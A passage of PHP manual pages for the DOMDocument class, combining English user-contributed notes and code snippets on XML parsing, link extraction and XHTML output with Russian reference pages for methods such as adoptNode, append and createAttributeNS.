I hope it solves the issue for someone! If you need my help or service to fix your code, you can reach me on nabtron.com or contact me at the email mentioned with this comment.
ingjetel at gmail dot com 13-May-2015 11:54
Easy function for basic output of XML file via DOM parsing

<?php
$dom = new DomDocument();
$dom->load("./file.xml") or die("error");
$start = $dom->documentElement;
fc($start);

function fc($node) {
  $child = $node->childNodes;
  foreach($child as $item) {
    if ($item->nodeType == XML_TEXT_NODE) {
      if (strlen(trim($item->nodeValue))) echo trim($item->nodeValue)."<br/>";
    }
    else if ($item->nodeType == XML_ELEMENT_NODE) fc($item);
  }
}
?>
qrworld.net 11-Nov-2014 04:35
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
danny dot nunez15 at gmail dot com 28-Oct-2013 02:54
A simple function to grab all links in a page.

    function get_links($url) {

        // Create a new DOM Document to hold our webpage structure
        $xml = new DOMDocument();

        // Load the url's contents into the DOM

        $xml->loadHTMLFile($url);

        // Empty array to hold all links to return
        $links = array();

        //Loop through each <a> tag in the dom and add it to the link array
        foreach ($xml->getElementsByTagName('a') as $link) {
            $url = $link->getAttribute('href');
            if (!empty($url)) {
                $links[] = $link->getAttribute('href');
            }
        }

        //Return the links
        return $links;
    }
sites.sitesbr.net 22-Jan-2013 12:37
How to objetify a DomDocument with hierarchy like:
<root>
    <item>
          <prop1>info1</prop1>
          <prop2>info2</prop2>
          <prop3>info3</prop3>
     </item>
    <item>
          <prop1>info1</prop1>
          <prop2>info2</prop2>
          <prop3>info3</prop3>
     </item>
</root>

It's possible to use in object style to retrieve information, as:

<?php
     $theNodeValue = $aitem->prop1;
?>

Here is the code: one Class and 2 functions.

<?php
 class ArrayNode{
       public $nodeName, $nodeValue;
 }

 function getChildNodeElements( $domNode ){
     $nodes = array();
     for( $i=0; $i < $domNode->childNodes->length; $i++){
       $cn = $domNode->childNodes->item($i);
       if( $cn->nodeType == 1){
           $nodes[] = $cn;
           }
     }
    return $nodes;
 }

 function getArrayNodes( $domDoc ){
     $res = array();

       for( $i=0; $i < $domDoc->childNodes->length; $i++){
       $cn = $domDoc->childNodes->item($i);
       # The first is the root tag...
          if( $cn->nodeType == 1){
               # But we want it's childNodes.
                $sub_cn = getChildNodeElements( $cn);
                # Found the tagName:
                $baseItemTagName = $sub_cn[0]->nodeName;
                break;
            }
        }

       $dnl = $domDoc->getElementsByTagName( $baseItemTagName);

       for( $i=0; $i< $dnl->length; $i++){
          $arrayNode = new ArrayNode();

      # Summary
      $arrayNode->nodeName = $dnl->item($i)->nodeName;
      $arrayNode->nodeValue = $dnl->item($i)->nodeValue;

      # Child Nodes
      $cn = $dnl->item($i)->childNodes;
      for( $k=0; $k<$cn->length; $k++){
           if( $cn->item($k)->nodeName == "#text" && trim($cn->item($k)->nodeValue) == "") continue;
           $arrayNode->{$cn->item($k)->nodeName} = $cn->item($k)->nodeValue;
      }

      # Attributes
      $attr = $dnl->item($i)->attributes;
      for( $k=0; $k < $attr->length; $k++){
           if(! is_null($attr)){
            if( $attr->item($k)->nodeName == "#text" && trim($attr->item($k)->nodeValue) == "") continue;
            $arrayNode->{$attr->item($k)->nodeName} = $attr->item($k)->nodeValue;
           }
      }

      $res[] = $arrayNode;

       }

     return $res;
 }
?>

To use it:

<?php

  # First you load a XML in a DomDocument variable.

   $url = "/path/to/yourxmlfile.xml";
   $domSrc = file_get_contents($url);
   $dom = new DomDocument();
   $dom->loadXML( $domSrc );

  # Then, you get the ArrayNodes from the DomDocument.

    $ans = getArrayNodes( $dom );

    for( $i=0; $i < count( $ans ) ; $i++){

    $cn =  $ans[ $i];

    $info1 =  $cn->prop1;
    $info2 =  $cn->prop2;
    $info3 =  $cn->prop3;

         // ...

   }

?>
Nick M 01-Jun-2011 10:16
You may need to save all or part of a DOMDocument as an XHTML-friendly string, something compliant with both XML and HTML 4. Here's the DOMDocument class extended with a saveXHTML method:

<?php

/**
 * XHTML Document
 *
 * Represents an entire XHTML DOM document; serves as the root of the document tree.
 */
class XHTMLDocument extends DOMDocument {

  /**
   * These tags must always self-terminate. Anything else must never self-terminate.
   *
   * @var array
   */
  public $selfTerminate = array(
      'area','base','basefont','br','col','frame','hr','img','input','link','meta','param'
  );

  /**
   * saveXHTML
   *
   * Dumps the internal XML tree back into an XHTML-friendly string.
   *
   * @param DOMNode $node
   *         Use this parameter to output only a specific node rather than the entire document.
   */
  public function saveXHTML(DOMNode $node=null) {

    if (!$node) $node = $this->firstChild;

    $doc = new DOMDocument('1.0');
    $clone = $doc->importNode($node->cloneNode(false), true);
    $term = in_array(strtolower($clone->nodeName), $this->selfTerminate);
    $inner='';

    if (!$term) {
      $clone->appendChild(new DOMText(''));
      if ($node->childNodes) foreach ($node->childNodes as $child) {
        $inner .= $this->saveXHTML($child);
      }
    }

    $doc->appendChild($clone);
    $out = $doc->saveXML($clone);

    return $term ? substr($out, 0, -2) . ' />' : str_replace('><', ">$inner<", $out);

  }

}

?>

This hasn't been benchmarked, but is probably significantly slower than saveXML or saveHTML and should be used sparingly.
evert at er dot nl 20-Nov-2010 02:17
A nice and simple node 2 array I wrote, worth a try ;)

<?php
function getArray($node)
{
    $array = false;

    if ($node->hasAttributes())
    {
        foreach ($node->attributes as $attr)
        {
            $array[$attr->nodeName] = $attr->nodeValue;
        }
    }

    if ($node->hasChildNodes())
    {
        if ($node->childNodes->length == 1)
        {
            $array[$node->firstChild->nodeName] = $node->firstChild->nodeValue;
        }
        else
        {
            foreach ($node->childNodes as $childNode)
            {
                if ($childNode->nodeType != XML_TEXT_NODE)
                {
                    $array[$childNode->nodeName][] = $this->getArray($childNode);
                }
            }
        }
    }

    return $array;
}
?>
admin at beerpla dot net 12-Mar-2010 02:12
After seeing many complaints about certain DOMDocument shortcomings, such as bad handling of encodings and always saving HTML fragments with <html>, <head>, and DOCTYPE, I decided that a better solution is needed.

So here it is: SmartDOMDocument. You can find it at http://beerpla.net/projects/smartdomdocument/

Currently, the main highlights are:

- SmartDOMDocument inherits from DOMDocument, so it's very easy to use - just declare an object of type SmartDOMDocument instead of DOMDocument and enjoy the new behavior on top of all existing functionality (see example below).

- saveHTMLExact() - DOMDocument has an extremely badly designed "feature" where if the HTML code you are loading does not contain <html> and <body> tags, it adds them automatically (yup, there are no flags to turn this behavior off).
Thus, when you call $doc->saveHTML(), your newly saved content now has <html><body> and DOCTYPE in it. Not very handy when trying to work with code fragments (XML has a similar problem).
SmartDOMDocument contains a new function called saveHTMLExact() which does exactly what you would want - it saves HTML without adding that extra garbage that DOMDocument does.

- encoding fix - DOMDocument notoriously doesn't handle encoding (at least UTF-8) correctly and garbles the output.
SmartDOMDocument tries to work around this problem by enhancing loadHTML() to deal with encoding correctly. This behavior is transparent to you - just use loadHTML() as you would normally.

- SmartDOMDocument Object As String - you can use a SmartDOMDocument object as a string which will print out its contents.
For example:
<?php
echo "Here is the HTML: $smart_dom_doc";
?>

I'm going to maintain this code and try to fix bugs as they come in.

Enjoy.
tloach at gmail dot com 05-Feb-2010 10:01
For anyone else who has been having issues with formatOuput not working, here is a work-around:

rather than just doing something like:

<?php
$outXML = $xml->saveXML();
?>

force it to reload the XML from scratch, then it will format correctly:

<?php
$outXML = $xml->saveXML();
$xml = new DOMDocument();
$xml->preserveWhiteSpace = false;
$xml->formatOutput = true;
$xml->loadXML($outXML);
$outXML = $xml->saveXML();
?>
jay at jaygilford dot com 27-Jan-2010 08:46
Here's a small function I wrote to get all page links using the DOMDocument which will hopefully be of use to others

<?php
/**
 * @author Jay Gilford
 */

/**
 * get_links()
 *
 * @param string $url
 * @return array
 */
function get_links($url) {

    // Create a new DOM Document to hold our webpage structure
    $xml = new DOMDocument();

    // Load the url's contents into the DOM
    $xml->loadHTMLFile($url);

    // Empty array to hold all links to return
    $links = array();

    //Loop through each <a> tag in the dom and add it to the link array
    foreach($xml->getElementsByTagName('a') as $link) {
        $links[] = array('url' => $link->getAttribute('href'), 'text' => $link->nodeValue);
    }

    //Return the links
    return $links;
}
?>
fcartegnie 31-Oct-2009 01:30
Be careful with formatOutput().

Creating an empty node like this:
createElement('foo','')
instead of
createElement('foo')
will break formatOutput.
PhilipWayneRollins at gmail dot com 15-Aug-2009 01:32
If you want to use the DOMDocument to create xHTML documents here is a simple class

Note this is designed for creating xHTML documents from scratch but could be easily extended to work with xHTML documents. Also this is for xHTML not XML.

<?php
    class Document
    {
        public $doctype;
        public $head;
        public $title = 'Sensei Ninja';
        public $body;
        private $styles;
        private $metas;
        private $scripts;
        private $document;

        function __construct (  )
        {
            $this->document = new DOMDocument( );
            $this->head = $this->document->createElement( 'head', ' ' );
            $this->body = $this->document->createElement( 'body', ' ' );
        }

        public function addStyleSheet ( $url, $media='all' )
        {
            $element = $this->document->createElement( 'link' );
            $element->setAttribute( 'type', 'text/css' );
            $element->setAttribute( 'href', $url );
            $element->setAttribute( 'media', $media );
            $this->styles[] = $element;
        }

        public function addScript ( $url )
        {
            $element = $this->document->createElement( 'script', ' ' );
            $element->setAttribute( 'type', 'text/javascript' );
            $element->setAttribute( 'src', $url );
            $this->scripts[] = $element;
        }

        public function addMetaTag ( $name, $content )
        {
            $element = $this->document->createElement( 'meta' );
            $element->setAttribute( 'name', $name );
            $element->setAttribute( 'content', $content );
            $this->metas[] = $element;
        }

        public function setDescription ( $dec )
        {
            $this->addMetaTag( 'description', $dec );
        }

        public function setKeywords ( $keywords )
        {
            $this->addMetaTag( 'keywords', $keywords );
        }

        public function createElement ( $nodeName, $nodeValue=null )
        {
          return $this->document->createElement( $nodeName, $nodeValue );
        }

        public function assemble ( )
        {
            // Doctype creation
            $doctype = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML TRANSITIONAL 1.0//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">';

            // Create the head element
            $title = $this->document->createElement( 'title', $this->title );
            // Add stylesheets if needed
            if ( is_array( $this->styles ))
                foreach ( $this->styles as $element )
                    $this->head->appendChild( $element );
            // Add scripts if needed
            if(  is_array( $this->scripts ))
                foreach ( $this->scripts as $element )
                    $this->head->appendChild( $element );
            // Add meta tags if needed
            if ( is_array( $this->metas ))
                foreach ( $this->metas as $element )
                    $this->head->appendChild( $element );
            $this->head->appendChild( $title );

            // Create the document
            $html = $this->document->createElement( 'html' );
            $html->setAttribute( 'xmlns', 'http://www.w3.org/1999/xhtml' );
            $html->setAttribute( 'xml:lang', 'en' );
            $html->setAttribute( 'lang', 'en' );
            $html->appendChild( $this->head );
            $html->appendChild( $this->body );

            $this->document->appendChild( $html );
            return $doctype . $this->document->saveXML( );
        }

    }

?>

Small example

<?php
        $document = new Document( );
    $document->title = 'Hello';
    $document->addStyleSheet( 'StyleSheets/main.css' );
    $div = $document->createElement( 'div' );
    $div->nodeValue = 'Hello, world!';
    $div->setAttribute( 'style', 'color: red;' );
    $document->body->appendChild( $div );
    printf( '%s', $document->assemble( ) );
?>
cmyk777 at gmail dot com 23-May-2009 12:31
This function may help to debug current dom element:

<?php
function dom_dump($obj) {
    if ($classname = get_class($obj)) {
        $retval = "Instance of $classname, node list: \n";
        switch (true) {
            case ($obj instanceof DOMDocument):
                $retval .= "XPath: {$obj->getNodePath()}\n".$obj->saveXML($obj);
                break;
            case ($obj instanceof DOMElement):
                $retval .= "XPath: {$obj->getNodePath()}\n".$obj->ownerDocument->saveXML($obj);
                break;
            case ($obj instanceof DOMAttr):
                $retval .= "XPath: {$obj->getNodePath()}\n".$obj->ownerDocument->saveXML($obj);
                //$retval .= $obj->ownerDocument->saveXML($obj);
                break;
            case ($obj instanceof DOMNodeList):
                for ($i = 0; $i < $obj->length; $i++) {
                    $retval .= "Item #$i, XPath: {$obj->item($i)->getNodePath()}\n".
"{$obj->item($i)->ownerDocument->saveXML($obj->item($i))}\n";
                }
                break;
            default:
                return "Instance of unknown class";
        }
    } else {
        return 'no elements...';
    }
    return htmlspecialchars($retval);
}
?>

Example usage:

<?php
$dom = new DomDocument();
$dom->load('test.xml');
$body = $dom->documentElement->getElementsByTagName('book');
echo '<pre>'.dom_dump($body).'<pre>';
?>

Output:

Instance of DOMNodeList, node list:
Item #0, XPath: /library/book[1]
<book isbn="0345342968">
<title>Fahrenheit 451</title>
<author>R. Bradbury</author>
<publisher>Del Rey</publisher>
</book>
Item #1, XPath: /library/book[2]
<book isbn="0048231398">
<title>The Silmarillion</title>
<author>J.R.R. Tolkien</author>
<publisher>G. Allen &amp; Unwin</publisher>
</book>
Item #2, XPath: /library/book[3]
<book isbn="0451524934">
<title>1984</title>
<author>G. Orwell</author>
<publisher>Signet</publisher>
</book>
Item #3, XPath: /library/book[4]
<book isbn="031219126X">
<title>Frankenstein</title>
<author>M. Shelley</author>
<publisher>Bedford</publisher>
</book>
Item #4, XPath: /library/book[5]
<book isbn="0312863551">
<title>The Moon Is a Harsh Mistress</title>
<author>R. A. Heinlein</author>
<publisher>Orb</publisher>
</book>
Fernando H 11-Apr-2008 12:48
Showing a quick example of how to use this class, just so that new users can get a quick start without having to figure it all out by themself. ( At the day of posting, this documentation just got added and is lacking examples. )

<?php

// Set the content type to be XML, so that the browser will   recognise it as XML.
header( "content-type: application/xml; charset=ISO-8859-15" );

// "Create" the document.
$xml = new DOMDocument( "1.0", "ISO-8859-15" );

// Create some elements.
$xml_album = $xml->createElement( "Album" );
$xml_track = $xml->createElement( "Track", "The ninth symphony" );

// Set the attributes.
$xml_track->setAttribute( "length", "0:01:15" );
$xml_track->setAttribute( "bitrate", "64kb/s" );
$xml_track->setAttribute( "channels", "2" );

// Create another element, just to show you can add any (realistic to computer) number of sublevels.
$xml_note = $xml->createElement( "Note", "The last symphony composed by Ludwig van Beethoven." );

// Append the whole bunch.
$xml_track->appendChild( $xml_note );
$xml_album->appendChild( $xml_track );

// Repeat the above with some different values..
$xml_track = $xml->createElement( "Track", "Highway Blues" );

$xml_track->setAttribute( "length", "0:01:33" );
$xml_track->setAttribute( "bitrate", "64kb/s" );
$xml_track->setAttribute( "channels", "2" );
$xml_album->appendChild( $xml_track );

$xml->appendChild( $xml_album );

// Parse the XML.
print $xml->saveXML();

?>

Output:
<Album>
  <Track length="0:01:15" bitrate="64kb/s" channels="2">
    The ninth symphony
    <Note>
      The last symphony composed by Ludwig van Beethoven.
    </Note>
  </Track>
  <Track length="0:01:33" bitrate="64kb/s" channels="2">Highway Blues</Track>
</Album>

If you want your PHP->DOM code to run under the .xml extension, you should set your webserver up to run the .xml extension with PHP ( Refer to the installation/configuration configuration for PHP on how to do this ).

Note that this:
<?php
$xml = new DOMDocument( "1.0", "ISO-8859-15" );
$xml_album = $xml->createElement( "Album" );
$xml_track = $xml->createElement( "Track" );
$xml_album->appendChild( $xml_track );
$xml->appendChild( $xml_album );
?>

is NOT the same as this:
<?php
// Will NOT work.
$xml = new DOMDocument( "1.0", "ISO-8859-15" );
$xml_album = new DOMElement( "Album" );
$xml_track = new DOMElement( "Track" );
$xml_album->appendChild( $xml_track );
$xml->appendChild( $xml_album );
?>

although this will work:
<?php
$xml = new DOMDocument( "1.0", "ISO-8859-15" );
$xml_album = new DOMElement( "Album" );
$xml->appendChild( $xml_album );
?>


Переносит узел из другого документа

  • « DOMDocument
  • DOMDocument::append »
  • PHP Manual
  • DOMDocument
  • Переносит узел из другого документа

DOMDocument::adoptNode

(PHP >= 8.3)

DOMDocument::adoptNode — Переносит узел из другого документа

Описание

public DOMDocument::adoptNode(DOMNode $node): DOMNode|false

Переносит узел другого документа в текущий документ.

Список параметров

node

Узел для переноса.

Возвращаемые значения

Возвращает узел, который был перенесён или false в случае возникновения ошибки.

Ошибки

DOM_NOT_SUPPORTED_ERR

Возникает, если тип узла не поддерживается для переноса документов.

Примеры

Пример #1 Пример использования метода DOMDocument::adoptNode()

Перенос элемента hello из первого документа во второй.

<?php
$doc1 = new DOMDocument;
$doc1->loadXML("<container><hello><world/></hello></container>");
$hello = $doc1->documentElement->firstChild;

$doc2 = new DOMDocument;
$doc2->loadXML("<root/>");
$doc2->documentElement->appendChild($doc2->adoptNode($hello));

echo $doc1->saveXML() . PHP_EOL;
echo $doc2->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container/>

<?xml version="1.0"?>
<root><hello><world/></hello></root>

Смотрите также

  • DOMDocument::importNode() - Импортировать узел в текущий документ

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узлы после последнего дочернего узла

  • « DOMDocument::adoptNode
  • DOMDocument::__construct »
  • PHP Manual
  • DOMDocument
  • Добавляет узлы после последнего дочернего узла

DOMDocument::append

(PHP 8)

DOMDocument::append — Добавляет узлы после последнего дочернего узла

Описание

public DOMDocument::append(DOMNode|string ...$nodes): void

Добавляет один или несколько узлов nodes в список дочерних узлов после последнего дочернего узла.

Список параметров

nodes

Узлы, которые необходимо добавить. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMDocument::append()

Добавление узлов после корня документа.

<?php
$doc = new DOMDocument;
$doc->loadXML("<hello/>");

$doc->append("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<hello/>
beautiful
<world/>

Смотрите также

  • DOMParentNode::append() - Добавляет узлы после последнего дочернего узла
  • DOMDocument::prepend() - Добавляет узлы перед первым дочерним узлом

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект DOMDocument

  • « DOMDocument::append
  • DOMDocument::createAttribute »
  • PHP Manual
  • DOMDocument
  • Создаёт новый объект DOMDocument

DOMDocument::__construct

(PHP 5, PHP 7, PHP 8)

DOMDocument::__construct — Создаёт новый объект DOMDocument

Описание

public DOMDocument::__construct(string $version = "1.0", string $encoding = "")

Создаёт новый объект DOMDocument.

Список параметров

version

Номер версии документа как часть объявления XML.

encoding

Кодировка документа как часть объявления XML.

Примеры

Пример #1 Создание объекта DOMDocument

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');

echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?> */

?>

Смотрите также

  • DOMImplementation::createDocument() - Создаёт объект класса DOMDocument заданного типа с его элементом document

User Contributed Notes

qrworld.net 11-Nov-2014 04:36
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
_ michael 01-Jun-2010 07:23
The constuctor arguments are useful if you want to build a new document using createElement, appendChild etc.

By contrast, these arguments are overriden as soon as you load a document from source by calling load() or loadXML().

* If the source contains an XML declaration specifying an encoding, that encoding is used.
* If the XML declaration does not specify an encoding, or if the source does not contain a declaration at all, UTF-8 is assumed.

This behaviour applies no matter what you declared when you called new DOMDocument().
blackhailang at gmail dot com 09-Oct-2008 07:54
domdocument::domdocument() expects at least
At the least, I found that It due to ZEND optimizer, uninstall it,working well, but the speeds will be slowlly :-(.

Comment :
item 1 : 2008-10-03 17:10:58, gkrong said:
"Warning: domdocument::domdocument() expects at least 1
 parameter"
If you use PHP 5 in windows, you don't need to declare
php_domxml.dll in your php.ini file.
so u can give comment in the line php_domxml.dll in your
php.ini file.
you only need to comment it out, but do not delete the
php_domxml.dll file in the ext directory.
steve at mrclay dot org 08-Oct-2008 09:45
To expand on bholbrook's comment, if you receive this: "Warning: domdocument::domdocument() expects at least 1 parameter", it is due to the old domxml extension, which you need to disable.

domxml overwrites DOMDocument::_construct with an alias to domxml_open_mem, so this code:
<?php
$doc = new DOMDocument();
?>
...essentially does this:
<?php
$dom = domxml_open_mem();
?>
...which is why PHP complains about expecting at least 1 parameter (it expects a string of XML).
christian dot reinecke at web dot de 15-Jul-2008 07:09
If you get the error message "domdocument::domdocument() expects parameter 2 to be long, string given"  for a code sample like this:

$dom = new DOMDocument('1.0', 'UTF-8');
$dom->xmlStandalone = false;
echo $dom->saveXML();

which is obviously correct if you compare the constructor signature:

__construct  ([ string $version  [, string $encoding  ]] )

make sure you're not overwritting this dom library by another (f.e. extension=php_domxml.dll in php.ini). XAMPP f.e. delivers its standard version with php_domxml.dll which ends up in this error message
dave at revlob dot com 14-Feb-2008 02:07
@Jarl

Not sure if this is what you meant when you said "The constructor example clearly shows that version and encoding only end up in the XML header", but you can also affect other parameters in the generated XML header, by accessing the DOMDocument's properties, for example:

<?php

$dom = new DOMDocument('1.0', 'UTF-8');
$dom->xmlStandalone = false;
echo $dom->saveXML();

// <?xml version="1.0" encoding="UTF-8" standalone="no"?>
bholbrook at servillian dot com 05-Dec-2007 02:25
Make sure that php_domxml.dll on windows is removed before using the domdocument class as they cannot coexist.
jarl kringelding skim punt com 24-Sep-2007 02:22
Be aware using the encoding parameter in the constructor.
It does not mean that all data is automatically encoded for you in the supplied encoding. You need to do that yourself once you choose an encoding other than the default UTF-8. See the note on DOM Functions on how to properly work with other encodings...

The constructor example clearly shows that version and encoding only end up in the XML header.


Создаёт новый атрибут

  • « DOMDocument::__construct
  • DOMDocument::createAttributeNS »
  • PHP Manual
  • DOMDocument
  • Создаёт новый атрибут

DOMDocument::createAttribute

(PHP 5, PHP 7, PHP 8)

DOMDocument::createAttribute — Создаёт новый атрибут

Описание

public DOMDocument::createAttribute(string $localName): DOMAttr|false

Эта функция создаёт новый объект класса DOMAttr. Этот узел не будет отображаться в документе до тех пор, пока он не будет вставлен, например, функцией DOMNode::appendChild().

Список параметров

localName

Имя атрибута.

Возвращаемые значения

Возвращает новый объект DOMAttr либо false в случае возникновения ошибки.

Ошибки

DOM_INVALID_CHARACTER_ERR

Возникает, если параметр localName содержит недопустимые символы.

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMDocument::createAttributeNS() - Создаёт новый атрибут узла с соответствующим пространством имён
  • DOMDocument::createCDATASection() - Создаёт новый узел cdata
  • DOMDocument::createComment() - Создать новый узел комментария
  • DOMDocument::createDocumentFragment() - Создаёт новый фрагмент документа
  • DOMDocument::createElement() - Создаёт новый узел элемента
  • DOMDocument::createElementNS() - Создать новый узел элемента с соответствующим пространством имён
  • DOMDocument::createEntityReference() - Создать новый узел ссылки на сущность
  • DOMDocument::createProcessingInstruction() - Создать новый PI-узел
  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

Skateside 05-Apr-2013 04:16
This may be obvious to most people, but it gave me a few minutes of head-scratching before I figured it out, but ampersands need to be properly escaped as HTML entities.

<?php
$doc= new DOMDocument('1.0', "UTF-8");

$invalid_elem = $doc->createElement('field', 'incorrect attribute');
$invalid_attr = $doc->createAttribute('name');
$invalid_attr->value = 'foo&bar';
$invalid_elem->appendChild($invalid_attr);
$doc->appendChild($invalid_elem);

$valid_elem = $doc->createElement('field', 'correct attribute');
$valid_attr = $doc->createAttribute('name');
$valid_attr->value = 'foo&amp;bar';
$valid_elem->appendChild($valid_attr);
$doc->appendChild($valid_elem);

?>

Will output:
<?xml version="1.0" encoding="UTF-8"?>
<field name="foo">incorrect attribute</field>
<field name="foo&bar">correct attribute</field>

As near as I can figure out, no exception is thrown for an invalid attribute. This will affect DOMDocuments created as HTML as well as XML.
Beerkeeper 09-Nov-2011 07:19
Just in case it isn't clear (like I had), an example:

<?php

$domDocument = new DOMDocument('1.0', "UTF-8");
$domElement = $domDocument->createElement('field','some random data');
$domAttribute = $domDocument->createAttribute('name');

// Value for the created attribute
$domAttribute->value = 'attributevalue';

// Don't forget to append it to the element
$domElement->appendChild($domAttribute);

// Append it to the document itself
$domDocument->appendChild($domElement);

?>

Will output:
<?xml version="1.0" encoding="UTF-8"?>
<field name="attributevalue">some random data</field>


Создаёт новый атрибут узла с соответствующим пространством имён

  • « DOMDocument::createAttribute
  • DOMDocument::createCDATASection »
  • PHP Manual
  • DOMDocument
  • Создаёт новый атрибут узла с соответствующим пространством имён

DOMDocument::createAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMDocument::createAttributeNS — Создаёт новый атрибут узла с соответствующим пространством имён

Описание

public DOMDocument::createAttributeNS(?string $namespace, string $qualifiedName): DOMAttr|false

Эта функция создаёт новый объект класса DOMAttr. Этот узел не будет отображаться в документе до тех пор, пока он не будет вставлен, например, функцией DOMNode::appendChild().

Список параметров

namespace

URI пространства имён.

qualifiedName

Имя и префикс атрибута в виде prefix:tagname.

Возвращаемые значения

Новый экземпляр класса DOMAttr или false в случае ошибки.

Ошибки

DOM_INVALID_CHARACTER_ERR

Возникает, если qualifiedName содержит недопустимые символы.

DOM_NAMESPACE_ERR

Возникает, если qualifiedName неправильно сформировано, либо если qualifiedName имеет префикс, а namespace имеет значение null.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода без указания префикса теперь выберет префикс, вместо того чтобы использовать пространство имен по умолчанию. Ранее это создавало атрибут без префикса и неверно применяло пространство имён к элементу-владельцу, поскольку пространства имен по умолчанию не применяются к атрибутам.
8.3.0 | Вызов этого метода с префиксом, который уже был объявлен на элементе-владельце с другим URI пространства имён, теперь изменит новый префикс, чтобы избежать создания конфликтов пространства имён. Это приводит поведение в соответствие со спецификацией DOM. Previously this threw a DOMException with code DOM_NAMESPACE_ERR.

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMDocument::createAttribute() - Создаёт новый атрибут
  • DOMDocument::createCDATASection() - Создаёт новый узел cdata
  • DOMDocument::createComment() - Создать новый узел комментария
  • DOMDocument::createDocumentFragment() - Создаёт новый фрагмент документа
  • DOMDocument::createElement() - Создаёт новый узел элемента
  • DOMDocument::createElementNS() - Создать новый узел элемента с соответствующим пространством имён
  • DOMDocument::createEntityReference() - Создать новый узел ссылки на сущность
  • DOMDocument::createProcessingInstruction() - Создать новый PI-узел
  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

_ michael 01-Jun-2010 07:35
If a new namespace is introduced while creating and inserting an attribute, createAttributeNS() does not behave in the same way as createElementNS().

(1) Location: With createAttributeNS(), the new namespace is declared at the level of the document element. By contrast, createElementNS() declares the new namespace at the level of the affected element itself.

(2) Timing: With createAttributeNS(), the new namespace is declared in the document as soon as the attribute is created - the attribute does not actually have to be inserted. createElementNS() doesn't affect the document as long as the element is not inserted.

An example:

<?php

    $source = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<root><tag></tag></root>
XML;

    /*

     I. createAttributeNS:
     * a new namespace shows up immediately, even without insertion of the attribute
     * the new namespace is declared at the level of the document element

    */

    $doc = new DOMDocument( '1.0' );
    $doc->loadXML( $source );

    // (1) We just create a "namespace'd" attribute without appending it to any element.
    $attr_ns = $doc->createAttributeNS( '{namespace_uri_here}', 'example:attr' );

    print $doc->saveXML() . "\n";

    /*
      Result: The namespace declaration appears, having been added to the document element. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root xmlns:example="{namespace_uri_here}"><tag/></root>

    */

    // (2) Next, we give the attribute a value and insert it.
    $attr_ns->value = 'value';
    $doc->getElementsByTagName( 'tag' )->item(0)->appendChild( $attr_ns );

    print $doc->saveXML() . "\n";

    /*
      Result: The "namespace'd" attribute shows up as well. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root xmlns:example="{namespace_uri_here}"><tag example:attr="value"/></root>

    */

    /*

     II. createElementNS:
     * a new namespace shows up only when the element is inserted
     * the new namespace is declared at the level of the inserted element

    */

    $doc = new DOMDocument( '1.0' );
    $doc->loadXML( $source );

    // (1) We create a "namespace'd" element without inserting it into the document.
    $elem_ns = $doc->createElementNS( '{namespace_uri_here}', 'example:newtag' );

    print $doc->saveXML() . "\n";

    /*
      Result: The document remains unchanged. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root><tag/></root>

    */

    // (2) Next, we insert the new element.
    $doc->getElementsByTagName( 'tag' )->item(0)->appendChild( $elem_ns );

    print $doc->saveXML() . "\n";

    /*
      Result: The namespace declaration appears, and it is embedded in the element using it. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root><tag><example:newtag xmlns:example="{namespace_uri_here}"/></tag></root>

    */

?>


Создаёт новый узел cdata

  • « DOMDocument::createAttributeNS
  • DOMDocument::createComment »
  • PHP Manual
  • DOMDocument
  • Создаёт новый узел cdata

DOMDocument::createCDATASection

(PHP 5, PHP 7, PHP 8)

DOMDocument::createCDATASection — Создаёт новый узел cdata

Описание

public DOMDocument::createCDATASection(string $data): DOMCdataSection|false

Эта функция создаёт новый объект класса DOMCDATASection. Этот узел не будет отображаться в документе до тех пор, пока он не будет вставлен, например, функцией DOMNode::appendChild().

Список параметров

data

Содержимое cdata.

Возвращаемые значения

Новый объект класса DOMCDATASection или false в случае возникновения ошибки.

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMDocument::createAttribute() - Создаёт новый атрибут
  • DOMDocument::createAttributeNS() - Создаёт новый атрибут узла с соответствующим пространством имён
  • DOMDocument::createComment() - Создать новый узел комментария
  • DOMDocument::createDocumentFragment() - Создаёт новый фрагмент документа
